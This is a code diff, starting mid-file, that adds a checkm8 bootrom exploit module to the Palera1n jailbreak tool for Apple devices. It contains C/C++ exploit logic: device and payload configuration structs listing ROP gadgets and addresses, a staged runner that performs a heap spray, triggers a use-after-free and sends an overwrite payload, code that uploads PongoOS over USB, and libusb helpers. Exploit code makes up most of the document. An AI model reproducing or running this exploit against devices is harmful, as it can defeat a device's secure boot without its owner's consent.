pongo = tmp;
|
||||
pongoSize += shellcodeSize;
|
||||
free(shellcode);
|
||||
|
||||
// Write size of compressed Pongo into data for decompressor
|
||||
uint32_t *pongoSizeInData = (uint32_t *)(pongo + 0x1fc);
|
||||
*pongoSizeInData = pongoSize - shellcodeSize;
|
||||
|
||||
// Update parameters
|
||||
*pongoBuf = pongo;
|
||||
*size = pongoSize;
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool send_pongo_to_yolo_dfu(usb_handle_t *handle) {
|
||||
unsigned char *pongoData = NULL;
|
||||
size_t pongoSize = 0;
|
||||
if (!prepare_pongo(&pongoData, &pongoSize) || pongoData == NULL || pongoSize == 0) {
|
||||
LOG("Failed to prepare PongoOS.");
|
||||
return false;
|
||||
}
|
||||
bool ret = false;
|
||||
if (wait_usb_handle(handle)) {
|
||||
if (dfu_serial_number_is_in_yolo_dfu(get_usb_device_serial_number(handle))) {
|
||||
size_t lengthSent = 0, size;
|
||||
transfer_ret_t transferRet;
|
||||
while (lengthSent < pongoSize) {
|
||||
retry:
|
||||
size = ((pongoSize - lengthSent) > 0x800) ? 0x800 : (pongoSize - lengthSent);
|
||||
send_usb_control_request(handle, 0x21, DFU_DNLOAD, 0, 0, pongoData + lengthSent, size, &transferRet);
|
||||
if (transferRet.sz != size || transferRet.ret != USB_TRANSFER_OK) {
|
||||
LOG("Retrying at size 0x%lx...", size);
|
||||
sleep_ms(100);
|
||||
goto retry;
|
||||
}
|
||||
lengthSent += size;
|
||||
}
|
||||
send_usb_control_request_no_data(handle, 0x21, DFU_CLRSTATUS, 0, 0, 0, NULL);
|
||||
close_usb_handle(handle);
|
||||
sleep_ms(100);
|
||||
init_usb_handle(handle, 0x5AC, 0x4141);
|
||||
wait_usb_handle(handle);
|
||||
free(pongoData);
|
||||
LOG("Device is now in PongoOS!");
|
||||
ret = true;
|
||||
}
|
||||
else {
|
||||
free(pongoData);
|
||||
LOG("Device is not in Yolo DFU mode!");
|
||||
}
|
||||
}
|
||||
return ret;
|
||||
}
|
||||
@@ -0,0 +1,39 @@
|
||||
#ifndef PAYLOAD_H
|
||||
#define PAYLOAD_H
|
||||
|
||||
#include <stdint.h>
|
||||
#include <stddef.h>
|
||||
|
||||
#ifndef __APPLE__
|
||||
# include "usb-libusb.h"
|
||||
#endif
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
struct DeviceConfiguration {
|
||||
uint64_t cpid, largeLeak, overwritePadding, hole;
|
||||
};
|
||||
|
||||
struct PayloadConfiguration {
|
||||
uint64_t tlbi, nopGadget, retGadget, patchAddress, ttbr0Address, functionGadget, ttbr0Write,
|
||||
memcpyAddress, aesCryptoCommand, bootTrampolineEnd, ttbr0VROMOffset, ttbr0SRAMOffset,
|
||||
gUSBSerialNumber, dfu_handle_request_address, usb_core_do_transfer, dfu_handle_bus_reset_address,
|
||||
insecureMemoryBase, handle_interface_request, usb_create_string_descriptor, usb_serial_number_string_descriptor;
|
||||
};
|
||||
|
||||
bool checkm8_find_device_configuration_for_cpid(int cpid, struct DeviceConfiguration *config);
|
||||
bool checkm8_find_payload_configuration_for_cpid(int cpid, struct PayloadConfiguration *config);
|
||||
uint8_t *create_pongo_overwrite_for_device(struct PayloadConfiguration *payloadConfig, size_t *overwriteSize);
|
||||
uint8_t *create_pongo_payload_for_device(struct DeviceConfiguration *deviceConfig, size_t *payloadSize);
|
||||
|
||||
// TODO? move
|
||||
bool wait_for_device_to_enter_yolo_dfu(usb_handle_t *handle);
|
||||
bool send_pongo_to_yolo_dfu(usb_handle_t *handle);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif // PAYLOAD_H
|
||||
+139
@@ -0,0 +1,139 @@
|
||||
#include "run.hpp"
|
||||
|
||||
#include <cstdlib>
|
||||
#include <thread>
|
||||
#include <atomic>
|
||||
|
||||
#include "../utils/log.h"
|
||||
|
||||
#ifndef __APPLE__
|
||||
# include "usb-libusb.h"
|
||||
#endif
|
||||
#include "dfu.h"
|
||||
#include "payload.h"
|
||||
#include "checkm8.h"
|
||||
|
||||
std::atomic_bool stopThreads{false};
|
||||
|
||||
bool checkm8(enum ExploitMode mode) {
|
||||
usb_handle_t *handle = NULL;
|
||||
|
||||
auto dfu_handle = std::make_unique<usb_handle_t>();
|
||||
auto pongo_handle = std::make_unique<usb_handle_t>();
|
||||
|
||||
init_usb_handle(dfu_handle.get(), 0x5AC, 0x1227);
|
||||
init_usb_handle(pongo_handle.get(), 0x5AC, 0x4141);
|
||||
|
||||
std::thread dfu_thread(wait_usb_handle, dfu_handle.get());
|
||||
std::thread pongo_thread(wait_usb_handle, pongo_handle.get());
|
||||
|
||||
dfu_thread.detach();
|
||||
pongo_thread.detach();
|
||||
|
||||
LOG("Waiting for device...");
|
||||
|
||||
for (;;) {
|
||||
sleep_ms(200);
|
||||
|
||||
if (dfu_handle->device) {
|
||||
LOG("Found device in DFU mode!");
|
||||
handle = dfu_handle.get();
|
||||
break;
|
||||
} else if (pongo_handle->device) {
|
||||
LOG("Found device in Pongo!");
|
||||
handle = pongo_handle.get();
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
stopThreads = true;
|
||||
sleep_ms(200);
|
||||
stopThreads = false;
|
||||
|
||||
struct DeviceConfiguration deviceConfig;
|
||||
struct PayloadConfiguration payloadConfig;
|
||||
bool ret = false;
|
||||
int stage = STAGE_PREPARE;
|
||||
|
||||
while (stage != STAGE_DONE && wait_usb_handle(handle)) {
|
||||
switch (stage) {
|
||||
case STAGE_PREPARE: {
|
||||
LOG("Preparing device...");
|
||||
|
||||
char *serialNumber = get_usb_device_serial_number(handle);
|
||||
if (!serialNumber) goto finished;
|
||||
|
||||
if (!checkm8_find_device_configuration_for_cpid(dfu_serial_number_get_cpid(serialNumber), &deviceConfig)) { goto finished; }
|
||||
if (!checkm8_find_payload_configuration_for_cpid(dfu_serial_number_get_cpid(serialNumber), &payloadConfig)) { goto finished; }
|
||||
if (dfu_serial_number_is_in_yolo_dfu(serialNumber)) { LOG("Found device in Yolo DFU mode!"); stage = STAGE_PONGO; goto yolodfu; }
|
||||
if (device_serial_number_is_in_pongo_os(serialNumber)) { LOG("Found device in PongoOS!"); stage = STAGE_JAILBREAK; goto pongo; }
|
||||
else if (device_serial_number_is_in_pongo_os(serialNumber)) { LOG("Found device in PongoOS!"); return 0; }
|
||||
if (dfu_serial_number_is_pwned(serialNumber)) { LOG("Device is already pwned!"); return true; }
|
||||
if (!dfu_serial_number_is_in_dfu_mode(serialNumber)) { LOG("Device is not in DFU mode!"); return false; }
|
||||
|
||||
free(serialNumber);
|
||||
stage = STAGE_RESET;
|
||||
goto reset;
|
||||
}
|
||||
case STAGE_RESET:
|
||||
reset:
|
||||
LOG("Resetting device...");
|
||||
ret = checkm8_reset(handle);
|
||||
LOG("Reset %s.", ret ? "succeeded" : "failed");
|
||||
stage = STAGE_HEAP_SPRAY;
|
||||
case STAGE_HEAP_SPRAY:
|
||||
LOG("Stage 1: heap spray...");
|
||||
ret = checkm8_heap_feng_shui(handle, &deviceConfig);
|
||||
LOG("Heap spray %s.", ret ? "succeeded" : "failed");
|
||||
stage = STAGE_TRIGGER;
|
||||
case STAGE_TRIGGER:
|
||||
LOG("Stage 2: trigger use-after-free...");
|
||||
ret = checkm8_trigger_UaF(handle, &deviceConfig);
|
||||
LOG("Trigger %s.", ret ? "succeeded" : "failed");
|
||||
stage = STAGE_PATCH;
|
||||
case STAGE_PATCH:
|
||||
LOG("Stage 3: payload execution...");
|
||||
ret = checkm8_send_overwrite_and_payload(handle, &deviceConfig, &payloadConfig);
|
||||
LOG("Patching %s.", ret ? "succeeded" : "failed");
|
||||
if (!ret) goto finished;
|
||||
close_usb_handle(handle);
|
||||
sleep_ms(3000);
|
||||
LOG("If your device is stuck on the Apple logo, please unplug and replug.");
|
||||
ret = wait_for_device_to_enter_yolo_dfu(handle);
|
||||
stage = ret ? STAGE_PONGO : STAGE_DONE;
|
||||
case STAGE_PONGO:
|
||||
yolodfu:
|
||||
LOG("Sending PongoOS...");
|
||||
ret = send_pongo_to_yolo_dfu(handle);
|
||||
stage = STAGE_JAILBREAK;
|
||||
case STAGE_JAILBREAK:
|
||||
pongo:
|
||||
LOG("Jailbreaking...");
|
||||
break;
|
||||
|
||||
case STAGE_DONE:
|
||||
break;
|
||||
}
|
||||
|
||||
if (stage != STAGE_JAILBREAK &&
|
||||
stage != STAGE_DONE &&
|
||||
stage != STAGE_PONGO)
|
||||
{
|
||||
reset_usb_handle(handle);
|
||||
}
|
||||
|
||||
if (!ret && stage != STAGE_HEAP_SPRAY)
|
||||
{
|
||||
goto finished;
|
||||
}
|
||||
}
|
||||
|
||||
finished:
|
||||
if (ret) {
|
||||
LOG("%s succeeded.", mode == MODE_PONGOOS ? "Booting PongoOS" : "Exploit");
|
||||
} else {
|
||||
LOG("Exploit failed at stage %d!", stage == STAGE_PREPARE ? stage : stage - 1);
|
||||
}
|
||||
|
||||
return ret;
|
||||
}
|
||||
@@ -0,0 +1,22 @@
|
||||
#ifndef RUN_H
|
||||
#define RUN_H
|
||||
|
||||
enum ExploitStage {
|
||||
STAGE_PREPARE = 0,
|
||||
STAGE_RESET = 1,
|
||||
STAGE_HEAP_SPRAY = 2,
|
||||
STAGE_TRIGGER = 3,
|
||||
STAGE_PATCH = 4,
|
||||
STAGE_PONGO = 5,
|
||||
STAGE_JAILBREAK = 6,
|
||||
STAGE_DONE = 7,
|
||||
};
|
||||
|
||||
enum ExploitMode {
|
||||
MODE_CHECKM8 = 0,
|
||||
MODE_PONGOOS = 1,
|
||||
};
|
||||
|
||||
bool checkm8(enum ExploitMode mode);
|
||||
|
||||
#endif // RUN_H
|
||||
@@ -0,0 +1,233 @@
|
||||
#include "usb-libusb.h"
|
||||
|
||||
#include "../utils/log.h"
|
||||
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <stddef.h>
|
||||
#include <string.h>
|
||||
#ifndef __WIN32
|
||||
# include <time.h>
|
||||
#endif
|
||||
|
||||
#include <libusb-1.0/libusb.h>
|
||||
|
||||
void sleep_ms(unsigned ms) {
|
||||
#ifdef __WIN32
|
||||
Sleep(ms);
|
||||
#else
|
||||
struct timespec ts;
|
||||
ts.tv_sec = ms / 1000;
|
||||
ts.tv_nsec = (ms % 1000) * 1000000L;
|
||||
nanosleep(&ts, NULL);
|
||||
#endif
|
||||
}
|
||||
|
||||
void close_usb_handle(usb_handle_t *handle) {
|
||||
libusb_close(handle->device);
|
||||
libusb_exit(NULL);
|
||||
}
|
||||
|
||||
void reset_usb_handle(usb_handle_t *handle) {
|
||||
libusb_reset_device(handle->device);
|
||||
}
|
||||
|
||||
extern bool stopThreads;
|
||||
|
||||
bool wait_usb_handle(usb_handle_t *handle) {
|
||||
if (stopThreads) {
|
||||
LOG("Thread stopped.");
|
||||
return false;
|
||||
}
|
||||
if(libusb_init(NULL) == LIBUSB_SUCCESS) {
|
||||
for(;;) {
|
||||
if((handle->device = libusb_open_device_with_vid_pid(NULL, handle->vid, handle->pid)) != NULL) {
|
||||
if(libusb_set_configuration(handle->device, 1) == LIBUSB_SUCCESS) {
|
||||
return true;
|
||||
}
|
||||
libusb_close(handle->device);
|
||||
}
|
||||
sleep_ms(USB_TIMEOUT);
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
bool wait_usb_handle_with_timeout(usb_handle_t *handle, unsigned timeout) {
|
||||
unsigned totalTime = 0;
|
||||
if(libusb_init(NULL) == LIBUSB_SUCCESS) {
|
||||
for(;;) {
|
||||
if((handle->device = libusb_open_device_with_vid_pid(NULL, handle->vid, handle->pid)) != NULL) {
|
||||
if(libusb_set_configuration(handle->device, 1) == LIBUSB_SUCCESS) {
|
||||
return true;
|
||||
}
|
||||
libusb_close(handle->device);
|
||||
}
|
||||
sleep_ms(USB_TIMEOUT);
|
||||
totalTime += USB_TIMEOUT;
|
||||
if (totalTime >= timeout) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
void usb_async_callback(struct libusb_transfer *transfer) {
|
||||
*(int *)transfer->user_data = 1;
|
||||
}
|
||||
|
||||
bool send_usb_control_request_no_timeout(const usb_handle_t *handle, uint8_t bmRequestType, uint8_t bRequest, uint16_t wValue, uint16_t wIndex, void *pData, size_t wLength, transfer_ret_t *transferRet) {
|
||||
int ret = libusb_control_transfer(handle->device, bmRequestType, bRequest, wValue, wIndex, pData, (uint16_t)wLength, 0);
|
||||
|
||||
if(transferRet != NULL) {
|
||||
if(ret >= 0) {
|
||||
transferRet->sz = (uint32_t)ret;
|
||||
transferRet->ret = USB_TRANSFER_OK;
|
||||
} else if(ret == LIBUSB_ERROR_PIPE) {
|
||||
transferRet->ret = USB_TRANSFER_STALL;
|
||||
} else {
|
||||
transferRet->ret = USB_TRANSFER_ERROR;
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
bool send_usb_control_request(const usb_handle_t *handle, uint8_t bmRequestType, uint8_t bRequest, uint16_t wValue, uint16_t wIndex, void *pData, size_t wLength, transfer_ret_t *transferRet) {
|
||||
int ret = libusb_control_transfer(handle->device, bmRequestType, bRequest, wValue, wIndex, pData, (uint16_t)wLength, USB_TIMEOUT);
|
||||
|
||||
if(transferRet != NULL) {
|
||||
if(ret >= 0) {
|
||||
LOG("ok? %d", ret);
|
||||
transferRet->sz = (uint32_t)ret;
|
||||
transferRet->ret = USB_TRANSFER_OK;
|
||||
} else if(ret == LIBUSB_ERROR_PIPE) {
|
||||
LOG("stalled? %d", ret);
|
||||
transferRet->ret = USB_TRANSFER_STALL;
|
||||
} else {
|
||||
LOG("errr? %d", ret);
|
||||
transferRet->ret = USB_TRANSFER_ERROR;
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
bool send_usb_control_request_async(const usb_handle_t *handle, uint8_t bmRequestType, uint8_t bRequest, uint16_t wValue, uint16_t wIndex, void *pData, size_t wLength, unsigned usbAbortTimeout, transfer_ret_t *transferRet) {
|
||||
struct libusb_transfer *transfer = libusb_alloc_transfer(0);
|
||||
struct timeval tv;
|
||||
int completed = 0;
|
||||
uint8_t *buf;
|
||||
|
||||
if(transfer != NULL) {
|
||||
if((buf = malloc(LIBUSB_CONTROL_SETUP_SIZE + wLength)) != NULL) {
|
||||
if((bmRequestType & LIBUSB_ENDPOINT_DIR_MASK) == LIBUSB_ENDPOINT_OUT) {
|
||||
memcpy(buf + LIBUSB_CONTROL_SETUP_SIZE, pData, wLength);
|
||||
}
|
||||
libusb_fill_control_setup(buf, bmRequestType, bRequest, wValue, wIndex, (uint16_t)wLength);
|
||||
libusb_fill_control_transfer(transfer, handle->device, buf, usb_async_callback, &completed, USB_TIMEOUT);
|
||||
if(libusb_submit_transfer(transfer) == LIBUSB_SUCCESS) {
|
||||
tv.tv_sec = usbAbortTimeout / 1000;
|
||||
tv.tv_usec = (usbAbortTimeout % 1000) * 1000;
|
||||
while(completed == 0 && libusb_handle_events_timeout_completed(NULL, &tv, &completed) == LIBUSB_SUCCESS) {
|
||||
libusb_cancel_transfer(transfer);
|
||||
}
|
||||
if(completed != 0) {
|
||||
if((bmRequestType & LIBUSB_ENDPOINT_DIR_MASK) == LIBUSB_ENDPOINT_IN) {
|
||||
memcpy(pData, libusb_control_transfer_get_data(transfer), transfer->actual_length);
|
||||
}
|
||||
if(transferRet != NULL) {
|
||||
transferRet->sz = (uint32_t)transfer->actual_length;
|
||||
if(transfer->status == LIBUSB_TRANSFER_COMPLETED) {
|
||||
transferRet->ret = USB_TRANSFER_OK;
|
||||
} else if(transfer->status == LIBUSB_TRANSFER_STALL) {
|
||||
transferRet->ret = USB_TRANSFER_STALL;
|
||||
} else {
|
||||
transferRet->ret = USB_TRANSFER_ERROR;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
free(buf);
|
||||
}
|
||||
libusb_free_transfer(transfer);
|
||||
}
|
||||
return completed != 0;
|
||||
}
|
||||
|
||||
void init_usb_handle(usb_handle_t *handle, uint16_t vid, uint16_t pid) {
|
||||
handle->vid = vid;
|
||||
handle->pid = pid;
|
||||
handle->device = NULL;
|
||||
}
|
||||
|
||||
bool send_usb_bulk_upload(usb_handle_t *handle, void *buffer, size_t length) {
|
||||
int transferred;
|
||||
int interfaceRet = libusb_claim_interface(handle->device, 0);
|
||||
if (interfaceRet != LIBUSB_SUCCESS) {
|
||||
LOG("Failed to claim interface");
|
||||
return -1;
|
||||
}
|
||||
int ret = libusb_bulk_transfer(handle->device, 0x2, buffer, length, &transferred, 100);
|
||||
if (ret == LIBUSB_ERROR_PIPE) {
|
||||
LOG("USB pipe error sending bulk upload");
|
||||
} else if (ret == LIBUSB_ERROR_TIMEOUT) {
|
||||
LOG("USB timeout sending bulk upload");
|
||||
}
|
||||
libusb_release_interface(handle->device, 0);
|
||||
return transferred == length;
|
||||
}
|
||||
|
||||
|
||||
bool send_usb_control_request_no_data(const usb_handle_t *handle, uint8_t bmRequestType, uint8_t bRequest, uint16_t wValue, uint16_t wIndex, size_t wLength, transfer_ret_t *transferRet) {
|
||||
bool ret = false;
|
||||
void *pData;
|
||||
|
||||
if (wLength == 0) {
|
||||
ret = send_usb_control_request(handle, bmRequestType, bRequest, wValue, wIndex, NULL, 0, transferRet);
|
||||
} else if ((pData = malloc(wLength)) != NULL) {
|
||||
memset(pData, '\0', wLength);
|
||||
ret = send_usb_control_request(handle, bmRequestType, bRequest, wValue, wIndex, pData, wLength, transferRet);
|
||||
free(pData);
|
||||
}
|
||||
return ret;
|
||||
}
|
||||
|
||||
bool send_usb_control_request_async_no_data(const usb_handle_t *handle, uint8_t bmRequestType, uint8_t bRequest, uint16_t wValue, uint16_t wIndex, size_t wLength, unsigned usbAbortTimeout, transfer_ret_t *transferRet) {
|
||||
bool ret = false;
|
||||
void *pData;
|
||||
|
||||
if (wLength == 0) {
|
||||
ret = send_usb_control_request_async(handle, bmRequestType, bRequest, wValue, wIndex, NULL, 0, usbAbortTimeout, transferRet);
|
||||
} else if ((pData = malloc(wLength)) != NULL) {
|
||||
memset(pData, '\0', wLength);
|
||||
ret = send_usb_control_request_async(handle, bmRequestType, bRequest, wValue, wIndex, pData, wLength, usbAbortTimeout, transferRet);
|
||||
free(pData);
|
||||
}
|
||||
return ret;
|
||||
}
|
||||
|
||||
static struct {
|
||||
uint8_t b_len, b_descriptor_type;
|
||||
uint16_t bcd_usb;
|
||||
uint8_t b_device_class, b_device_sub_class, b_device_protocol, b_max_packet_sz;
|
||||
uint16_t id_vendor, id_product, bcd_device;
|
||||
uint8_t i_manufacturer, i_product, i_serial_number, b_num_configurations;
|
||||
} usb_device_descriptor;
|
||||
|
||||
char *get_usb_device_serial_number(usb_handle_t *handle) {
|
||||
transfer_ret_t transfer_ret;
|
||||
uint8_t buf[UINT8_MAX];
|
||||
char *str = NULL;
|
||||
size_t i, sz;
|
||||
if (send_usb_control_request(handle, 0x80, 6, 1U << 8U, 0, &usb_device_descriptor, sizeof(usb_device_descriptor), &transfer_ret)
|
||||
&& transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == sizeof(usb_device_descriptor)
|
||||
&& send_usb_control_request(handle, 0x80, 6, (3U << 8U) | usb_device_descriptor.i_serial_number, 0x409, buf, sizeof(buf), &transfer_ret)
|
||||
&& transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == buf[0] && (sz = buf[0] / 2) != 0 && (str = malloc(sz)) != NULL) {
|
||||
for (i = 0; i < sz; ++i) {
|
||||
str[i] = (char)buf[2 * (i + 1)];
|
||||
}
|
||||
str[sz - 1] = '\0';
|
||||
}
|
||||
return str;
|
||||
}
|
||||
|
||||
@@ -0,0 +1,58 @@
|
||||
#ifndef __APPLE__
|
||||
|
||||
#ifndef USBLIBUSB_H
|
||||
#define USBLIBUSB_H
|
||||
|
||||
#define USB_TIMEOUT 10
|
||||
|
||||
#include <stdint.h>
|
||||
#include <stddef.h>
|
||||
|
||||
#include <libusb-1.0/libusb.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
typedef struct {
|
||||
uint16_t vid, pid;
|
||||
struct libusb_device_handle *device;
|
||||
int usb_interface;
|
||||
struct libusb_context *context;
|
||||
} usb_handle_t;
|
||||
|
||||
enum usb_transfer_ret {
|
||||
USB_TRANSFER_OK = 0,
|
||||
USB_TRANSFER_ERROR = 1,
|
||||
USB_TRANSFER_STALL = 2,
|
||||
};
|
||||
|
||||
typedef struct {
|
||||
enum usb_transfer_ret ret;
|
||||
uint32_t sz;
|
||||
} transfer_ret_t;
|
||||
|
||||
void sleep_ms(unsigned ms);
|
||||
|
||||
bool send_usb_control_request(const usb_handle_t *handle, uint8_t bmRequestType, uint8_t bRequest, uint16_t wValue, uint16_t wIndex, void *pData, size_t wLength, transfer_ret_t *transferRet);
|
||||
bool send_usb_control_request_no_timeout(const usb_handle_t *handle, uint8_t bmRequestType, uint8_t bRequest, uint16_t wValue, uint16_t wIndex, void *pData, size_t wLength, transfer_ret_t *transferRet);
|
||||
bool send_usb_control_request_no_data(const usb_handle_t *handle, uint8_t bmRequestType, uint8_t bRequest, uint16_t wValue, uint16_t wIndex, size_t wLength, transfer_ret_t *transferRet);
|
||||
bool send_usb_control_request_async(const usb_handle_t *handle, uint8_t bmRequestType, uint8_t bRequest, uint16_t wValue, uint16_t wIndex, void *pData, size_t wLength, unsigned usbAbortTimeout, transfer_ret_t *transferRet);
|
||||
bool send_usb_control_request_async_no_data(const usb_handle_t *handle, uint8_t bmRequestType, uint8_t bRequest, uint16_t wValue, uint16_t wIndex, size_t wLength, unsigned usbAbortTimeout, transfer_ret_t *transferRet);
|
||||
bool send_usb_bulk_upload(usb_handle_t *handle, void *buffer, size_t length);
|
||||
|
||||
void init_usb_handle(usb_handle_t *handle, uint16_t vid, uint16_t pid);
|
||||
bool wait_usb_handle(usb_handle_t *handle);
|
||||
bool wait_usb_handle_with_timeout(usb_handle_t *handle, unsigned timeout);
|
||||
void reset_usb_handle(usb_handle_t *handle);
|
||||
void close_usb_handle(usb_handle_t *handle);
|
||||
|
||||
char *get_usb_device_serial_number(usb_handle_t *handle);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif // USBLIBUSB_H
|
||||
|
||||
#endif // __APPLE__
|
||||
+12
-3
@@ -9,6 +9,8 @@
|
||||
# include <wx/wx.h>
|
||||
#endif
|
||||
|
||||
#include "m8/run.hpp"
|
||||
|
||||
#include "utils/constants.h"
|
||||
#include "utils/log.h"
|
||||
#include "utils/paleinfo.h"
|
||||
@@ -18,14 +20,15 @@ void print_credits() {
|
||||
"#\n"
|
||||
"# Palera1n beta " PALERAIN_VERSION "\n"
|
||||
"#\n"
|
||||
"# (c) 2024 Palera1n\n"
|
||||
"# (c) 2026 Palera1n\n"
|
||||
"#\n"
|
||||
"# ======== Made by =======\n"
|
||||
"# Made by: asdfugil, kok3shidoll, claration, mineek, staturnz\n"
|
||||
"# ======== Thanks to =======\n"
|
||||
"# Thanks to: llsc12, Nebula, Lrdsnow, nikias (libimobiledevice),\n"
|
||||
"# checkra1n team (Siguza, axi0mx, littlelailo et al.),\n"
|
||||
"# Procursus Team (Hayden Seay, Cameron Katri, Keto et.al)\n"
|
||||
"# Checkra1n (Siguza, axi0mx, littlelailo et al.),\n"
|
||||
"# Procursus (Hayden Seay, Cameron Katri, Keto et.al),\n"
|
||||
"# kirb, ehilwyma, opa334\n"
|
||||
"# ==========================\n\n"
|
||||
);
|
||||
}
|
||||
@@ -165,7 +168,13 @@ int main(int argc, char* argv[], char* envp[]) {
|
||||
wxTheApp->OnExit();
|
||||
wxEntryCleanup();
|
||||
return 0;
|
||||
} else {
|
||||
return checkm8(MODE_PONGOOS);
|
||||
}
|
||||
#else
|
||||
|
||||
return checkm8(MODE_PONGOOS);
|
||||
|
||||
#endif
|
||||
|
||||
return 0;
|
||||
|
||||
@@ -1,6 +1,8 @@
|
||||
#ifndef LOG_H
|
||||
#define LOG_H
|
||||
|
||||
#include <stdio.h>
|
||||
|
||||
#define RESET_COLOR "\033[0m"
|
||||
#define RED_COLOR "\033[31m"
|
||||
#define GREEN_COLOR "\033[32m"
|
||||
|
||||
@@ -10,6 +10,7 @@
|
||||
#include "DevicePanel.hpp"
|
||||
#include "../state.hpp"
|
||||
#include "../utils/log.h"
|
||||
#include "../m8/run.hpp"
|
||||
|
||||
ExploitPanel::ExploitPanel(MainFrame* frame, wxWindow* parent)
|
||||
: DevicePanel(frame, parent)
|
||||
@@ -65,7 +66,7 @@ void ExploitPanel::StartExploit()
|
||||
if (!state.connected || state.mode != DeviceMode::DFU)
|
||||
return;
|
||||
|
||||
LOG("Starting exploit on worker thread...");
|
||||
checkm8(MODE_PONGOOS);
|
||||
}).detach();
|
||||
}
|
||||
|
||||
|
||||
Reference in new issue
Block a user